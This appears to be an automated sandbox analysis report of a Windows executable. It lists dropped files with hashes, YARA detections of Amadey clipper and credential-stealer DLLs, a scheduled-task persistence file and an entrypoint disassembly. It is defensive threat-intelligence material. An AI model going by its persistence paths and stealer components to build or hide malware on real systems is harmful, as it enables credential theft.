SSDEEP:	24576:fhidp/tosQNRs54PK4IM7Vw59bfCEnXTR32k:fhidp/tosQNRs54PK4Ip9F5
MD5:	F4981249047E4B7709801A388E2965AF
SHA1:	42847B581E714A407A0B73E5DAB019B104EC9AF2
SHA-256:	B191E669B1C715026D0732CBF8415F1FF5CFBA5ED9D818444719D03E72D14233
SHA-512:	E8EF3FB3C9D5EF8AE9065838B124BA4920A3A1BA2D4174269CAD05C1F318BC9FF80B1C6A6C0F3493E998F0587EF59BE0305BC92E009E67B82836755470BC1B13
Malicious:	false
Preview:	PK..........!...7............._bootlocale.pycU....................................@....z...d.Z.d.d.l.Z.d.d.l.Z.e.j...d...r,d.d.d...Z.nJz.e.j...W.n4..e.k.rj......e.e.d...r\d.d.d...Z.n.d.d.d...Z.Y.n.X.d.d.d...Z.d.S.)...A minimal subset of the locale module used at interpreter startup.(imported by the _io module), in order to reduce startup time...Don't import directly from third-party code; use the `locale` module instead!......N..winTc....................C........t.j.j.r.d.S.t.....d...S.).N..UTF-8.........sys..flags..utf8_mode.._locale.._getdefaultlocale....do_setlocale..r......_bootlocale.py..getpreferredencoding...............r......getandroidapilevelc....................C........d.S.).Nr....r....r....r....r....r....r...............c....................C........t.j.j.r.d.S.d.d.l.}.\|...\|...S.).Nr....r......r....r....r......localer......r....r....r....r....r....r.....................c....................C....6...\|.r.t...t.j.j.r.d.S.t...t.j...}.\|.s2t.j.d.k.r2d.}.\|.S.).Nr......darwin....A

C:\Users\user\AppData\Local\Temp\_MEI15962\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3381792
Entropy (8bit):	6.094908167946797
Encrypted:	false
SSDEEP:	49152:Y4TKuk29SIU6i5fOjPWl+0rOh5PKToEGG9I+q4dNQbZQm9aGupuu9LoeiyPaRb84:YiV+CGQ4dtBMeiJRb8+1CPwDv3uFZjN
MD5:	BF83F8AD60CB9DB462CE62C73208A30D
SHA1:	F1BC7DBC1E5B00426A51878719196D78981674C4
SHA-256:	012866B68F458EC204B9BCE067AF8F4A488860774E7E17973C49E583B52B828D
SHA-512:	AE1BDDA1C174DDF4205AB19A25737FE523DCA6A9A339030CD8A95674C243D0011121067C007BE56DEF4EAEFFC40CBDADFDCBD1E61DF3404D6A3921D196DCD81E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R...3...3...3...K...3..[...3..[...3..[...3..[...3..U...3...3..{3..qZ...3..qZ..1..qZ...3..qZf..3..qZ...3..Rich.3..................PE..d....k.].........." ......$..........r....................................... 4.......4...`..............................................f...Z3.@.....3.\|.....1.......3. .....3..O..P-,.8............................-,..............P3..............................text...g.$.......$................. ..`.rdata.......0$.......$.............@..@.data...Ax....1..*....0.............@....pdata........1.......1.............@..@.idata...#...P3..$....2.............@..@.00cfg........3.......2.............@..@.rsrc...\|.....3.......2.............@..@.reloc...x....3..z....3.............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI15962\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.372276555451265
Encrypted:	false
SSDEEP:	384:JYnlpDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYPoBhT/A4:JYe0Vn5Q28J8qsqMttktuTSTWDG4yhRe
MD5:	4424BAF6ED5340DF85482FA82B857B03
SHA1:	181B641BF21C810A486F855864CD4B8967C24C44
SHA-256:	8C1F7F64579D01FEDFDE07E0906B1F8E607C34D5E6424C87ABE431A2322EBA79
SHA-512:	8ADB94893ADA555DE2E82F006AB4D571FAD8A1B16AC19CA4D2EFC1065677F25D2DE5C981473FABD0398F6328C1BE1EBD4D36668EA67F8A5D25060F1980EE7E33
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........3..{]A.{]A.{]A...A.{]A..\@.{]A..\@.{]A.{\A.{]A..X@.{]A..Y@.{]A..^@.{]A..Y@.{]A..^@.{]A..]@.{]A.._@.{]ARich.{]A........................PE..d.....\.........." .....F...$.......I...................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI15962\python38.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4183112
Entropy (8bit):	6.420172758698049
Encrypted:	false
SSDEEP:	49152:wV6CJES/Za2BaobNruDPYRQYK8JCNNtkAz+/Q46VqNo9NYxwCFIInKHJCMjntPNj:MxB/aDUQNtufeNFIKHoMjzkDU
MD5:	D2A8A5E7380D5F4716016777818A32C5
SHA1:	FB12F31D1D0758FE3E056875461186056121ED0C
SHA-256:	59AB345C565304F638EFFA7C0236F26041FD06E35041A75988E13995CD28ACE9
SHA-512:	AD1269D1367F587809E3FBE44AF703C464A88FA3B2AE0BF2AD6544B8ED938E4265AAB7E308D999E6C8297C0C85C608E3160796325286DB3188A3EDF040A02AB7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................................7[.........................................B............c...........Rich............................PE..d.....].........." .........."...............................................B.....f.@...`.........................................@I8.....X.9.\|.....B.......?.P.....?.H.....B. t..p. .T............................. .................X............................text...$........................... ..`.rdata..............................@..@.data........09......"9.............@....pdata..P.....?......2=.............@..@.rsrc.........B......8?.............@..@.reloc.. t....B..v...D?.............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI15962\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26696
Entropy (8bit):	6.101296746249305
Encrypted:	false
SSDEEP:	768:6kYtqIDCNdwhBfAqXuqzz5H1IGqGbWDG4y4:6TnDCNCh93X7zzR1IGqG2y4
MD5:	6AE54D103866AAD6F58E119D27552131
SHA1:	BC53A92A7667FD922CE29E98DFCF5F08F798A3D2
SHA-256:	63B81AF5D3576473C17AC929BEA0ADD5BF8D7EA95C946CAF66CBB9AD3F233A88
SHA-512:	FF23F3196A10892EA22B28AE929330C8B08AB64909937609B7AF7BFB1623CD2F02A041FD9FAB24E4BC1754276BDAFD02D832C2F642C8ECDCB233F639BDF66DD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................)............................M................M......M......M.E....M......Rich...........PE..d.....].........." .........2......h...............................................a"....`..........................................?..L....@..x....p.......`.......N..H.......,....2..T............................3...............0...............................text...u........................... ..`.rdata.......0......."..............@..@.data........P.......:..............@....pdata.......`.......<..............@..@.rsrc........p.......@..............@..@.reloc..,............L..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI15962\ucrtbase.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1046080
Entropy (8bit):	6.649151787942547
Encrypted:	false
SSDEEP:	24576:L1foGwlaDT22+Pk+j2ZXCE6cctEMmxvSZX0ypCD3:JfoBR2+PfXWrT
MD5:	4E326FEEB3EBF1E3EB21EEB224345727
SHA1:	F156A272DBC6695CC170B6091EF8CD41DB7BA040
SHA-256:	3C60056371F82E4744185B6F2FA0C69042B1E78804685944132974DD13F3B6D9
SHA-512:	BE9420A85C82EEEE685E18913A7FF152FCEAD72A90DDCC2BCC8AB53A4A1743AE98F49354023C0A32B3A1D919BDA64B5D455F6C3A49D4842BBBA4AA37C1D05D67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........of...5...5...5..5...5...5&..5...5...5...4...5...4...5...4...5...4...5...4..5...5...5...4...5Rich...5........PE..d....]..........." .....:...........a..............................................4m....`A................................................................. ..........@J..............p........................... f..............................................text... 9.......:.................. ..`.rdata..N....P.......>..............@..@.data....&..........................@....pdata....... ......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI15962\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1096264
Entropy (8bit):	5.343512979675051
Encrypted:	false
SSDEEP:	12288:EGe9qQOZ67191SnFRFotduNFBjCmN/XlyCAx9++bBlhJk93cgewrxEeBc0bB:EGe9GK4oYhCc/+9nbDhG2wrxc0bB
MD5:	4C0D43F1A31E76255CB592BB616683E7
SHA1:	0A9F3D77A6E064BAEBACACC780701117F09169AD
SHA-256:	0F84E9F0D0BF44D10527A9816FCAB495E3D797B09E7BBD1E6BD666CEB4B6C1A8
SHA-512:	B8176A180A441FE402E86F055AA5503356E7F49E984D70AB1060DEE4F5F17FCEC9C01F75BBFF75CE5F4EF212677A6525804BE53646CC0D7817B6ED5FD83FD778
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.0v..^%..^%..^%.f.%..^%Tv_$..^%Tv[$..^%TvZ$..^%Tv]$..^%.w_$..^%cx_$..^%.._%N.^%.wS$..^%.w^$..^%.w.%..^%.w\$..^%Rich..^%................PE..d.....].........." .....L...V.......*..............................................-.....`.........................................p...X..............................H........... )..T............................)...............`..p............................text...1J.......L.................. ..`.rdata..>-...`.......P..............@..@.data................~..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4gnvua52.wx5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5mtv3n12.xhh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eg2atg5a.jzj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_igq14n13.k4q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oit3zutn.jjg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rrpyyarx.cmt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzu05hpv.3hn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_smm4adtr.kit.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	441344
Entropy (8bit):	6.488128856014368
Encrypted:	false
SSDEEP:	12288:JOKJim5EI9tVEw/JF4+D3q2IMbgiDK7mWasB:Jj9tL8ZMEiDfWb
MD5:	4962575A2378D5C72E7A836EA766E2AD
SHA1:	549964178B12017622D3CBDDA6DBFDEF0904E7E2
SHA-256:	EFF5FAD47B9C739B09E760813B2BCBB0788EB35598F72E64FF95C794E72E6676
SHA-512:	911A59F7A6785DD09A57DCD6D977B8ABD5E160BD613786E871A1E92377C9E6F3B85FE3037431754BBDB1212E153776EFCA5FADAC1DE6B2AD474253DA176E8E53
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L.....Zg..........................................@..........................0............@..................................F...................................E......8...........................8...@...............<............................text...z........................... ..`.rdata...I.......J..................@..@.data....m...`...,...H..............@....rsrc................t..............@..@.reloc...E.......F...v..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.36076412023942
Encrypted:	false
SSDEEP:	3072:Vdu5ZXB8ZuzQT7SgmME8Yn/YoZ3SNqpidU1epf:WjGymSg7E8Y3Z3AdUwpf
MD5:	C2F3FBBBE6D5F48A71B6B168B1485866
SHA1:	1CD56CFC2DC07880B65BD8A1F5B7147633F5D553
SHA-256:	C7ED512058BC924045144DAA16701DA10F244AC12A5EA2DE901E59DCE6470839
SHA-512:	E211F18C2850987529336E0D20AA894533C1F6A8AE6745E320FD394A9481D3A956C719AC29627AFD783E36E5429C0325B98E60AEE2A830E75323C276C72F845A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........P...................................................................@......@......@.~.....@......Rich............................PE..L.....Zg...........!.....D..........bp.......`...............................0............@.....................................P.......................................8...............................@............`..L............................text....C.......D.................. ..`.rdata..*u...`...v...H..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1281024
Entropy (8bit):	6.466046469058072
Encrypted:	false
SSDEEP:	24576:BO//kL3TtMhQsnoXyajMK8fCZEqcAxQBuLv8YPKpTG:z3pMhQzRM3MfcAxHv8t
MD5:	C6AABB27450F1A9939A417E86BF53217
SHA1:	B8EF3BB7575139FD6997379415D7119E452B5FC4
SHA-256:	B91A3743C7399AEE454491862E015EF6FC668A25D1AA2816E065A86A03F6BE35
SHA-512:	E5FE205CB0F419E0A320488D6FA4A70E5ED58F25B570B41412EBD4F32BBE504FF75ACB20BFEA22513102630CF653A41E5090051F20AF2ED3AADB53CE16A05944
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........D........................s.................................................X..........Rich...........................PE..d.....Zg.........." .........8...............................................P............`..........................................~..X....~....... .......`...............0..l.......p...........................p...8............................................text............................... ..`.rdata..............................@..@.data............D..................@....pdata.......`......................@..@_RDATA...............t..............@..@.rsrc........ .......v..............@..@.reloc..l....0.......x..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe

Download File

Process:	C:\Users\user\Desktop\mggoBrtk9t.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	308224
Entropy (8bit):	6.27479026130529
Encrypted:	false
SSDEEP:	6144:Y2J31coxDzgqSAy3/wLZRYa2dWSS8ySQIaTgHJ0tYRV4OeJiqbQ5rF4:71coxDzgxAKILIa2d1S8ySQIaTpjKrF4
MD5:	DD1E3F38AE7711D270748012AF613950
SHA1:	B3B90EEC3507F523AA63802CC16E5248C8EF0EA8
SHA-256:	2997292293C332E73B11FA28126B6FBEFEA75A6BB02001EB017DE46797D4E4EC
SHA-512:	0EFF0CBA972B6622FB59683FE4D15D1B6C1EF106166189F60DCD7B4C76B6CEB82FD5C71433DC61394F03EFF03575F2BE27DEC6AC8AB064491710263879B11BCA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a\.i%=.:%=.:%=.:,EJ:&=.:%=.:&=.:JKr:-=.:JKC:$=.:JKD:$=.:Rich%=.:................PE..d...<zZg.........."......:...*......\4.........@..........................................@.................................................@h..(.......(.......@....................................................................P.. ............................text....9.......:.................. ..`.rdata.......P.......>..............@..@.data........p......................@....pdata..@............X..............@..@.rsrc...(............\..............@..@.x64.....`.......T...`..................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\mggoBrtk9t.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\Gxtuum.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3264520468036296
Encrypted:	false
SSDEEP:	6:mbFYVXflN0VzUEZ+lX1VsLlw3btDsBZWVny0lZtsEt0:mbFufoQ1VsLlw3ev8VZtNt0
MD5:	91E6C8CA97307E29404862A5472B3E01
SHA1:	0ED20994A86CC1685760069473D2E03A4F1CBA8D
SHA-256:	383CDC672C96F99A42C36B60BD71068C3F32DF42F596AF3650FF3314B9E94FDC
SHA-512:	D4D6CEC0C601310A2691BCB059E3EDC382F3B95E0037D621C7D6DC41E0EFFABF7E761944EC0BBE46F2F3536904C36AE85E97C2341E7EE77648E82237E0AAE5C8
Malicious:	false
Preview:	.....yAD.p.E.b...Tu)F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.t.o.t.t.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.e.e.2.9.e.a.5.0.8.b.\.G.x.t.u.u.m...e.x.e.........T.O.T.T.I.-.P.C.\.t.o.t.t.i...................0...................@3P.........................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.27479026130529
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mggoBrtk9t.exe
File size:	308'224 bytes
MD5:	dd1e3f38ae7711d270748012af613950
SHA1:	b3b90eec3507f523aa63802cc16e5248c8ef0ea8
SHA256:	2997292293c332e73b11fa28126b6fbefea75a6bb02001eb017de46797d4e4ec
SHA512:	0eff0cba972b6622fb59683fe4d15d1b6c1ef106166189f60dcd7b4c76b6ceb82fd5c71433dc61394f03eff03575f2be27dec6ac8ab064491710263879b11bca
SSDEEP:	6144:Y2J31coxDzgqSAy3/wLZRYa2dWSS8ySQIaTgHJ0tYRV4OeJiqbQ5rF4:71coxDzgxAKILIa2d1S8ySQIaTpjKrF4
TLSH:	78645C27308162CEF799B273D01498B4D4FEF8B592A649A5A120F6F7170B1C38F15EB6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a\.i%=.:%=.:%=.:,EJ:&=.:%=.:&=.:JKr:-=.:JKC:$=.:JKD:$=.:Rich%=.:................PE..d...<zZg.........."......:...*......\4.....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14000345c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x675A7A3C [Thu Dec 12 05:53:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	f48301e47b2e40bf9641ab1156532a80

Entrypoint Preview

Instruction
dec eax
sub esp, 00000278h
call 00007FD6E0FAA27Dh
call 00007FD6E0FAC3F4h
movzx eax, al
test eax, eax
je 00007FD6E0FAC64Ah
xor ecx, ecx
call dword ptr [00003F0Ch]
call 00007FD6E0FAD428h
mov dword ptr [esp+30h], 00000104h
mov edx, dword ptr [esp+30h]
dec eax
lea ecx, dword ptr [esp+40h]
call 00007FD6E0FACE92h
dec eax
lea edx, dword ptr [00002FF2h]
dec eax
lea ecx, dword ptr [esp+40h]
call 00007FD6E0FAD0B1h
test eax, eax
je 00007FD6E0FAC691h
dec eax
mov ecx, dword ptr [00003B85h]
call 00007FD6E0FAD531h
movzx eax, al
test eax, eax
jne 00007FD6E0FAC655h
dec eax
lea ecx, dword ptr [00002FE2h]
call 00007FD6E0FAD51Eh
movzx eax, al
test eax, eax
je 00007FD6E0FAC64Ah
xor ecx, ecx
call dword ptr [00003CE6h]
call 00007FD6E0FAC452h
xor eax, eax
cmp eax, 01h
je 00007FD6E0FAC64Fh
mov ecx, 0000C350h
call dword ptr [00003C7Fh]
jmp 00007FD6E0FAC62Eh
xor ecx, ecx
call dword ptr [00003CC5h]
dec eax
lea edx, dword ptr [00002FB6h]
dec eax
lea ecx, dword ptr [esp+40h]
call 00007FD6E0FAD04Dh
test eax, eax
je 00007FD6E0FAC67Eh
dec eax
lea ecx, dword ptr [00002FB9h]
call 00007FD6E0FAD4CDh
movzx eax, al
test eax, eax
je 00007FD6E0FAC64Ah

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6840	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9000	0x328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x8000	0x240	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
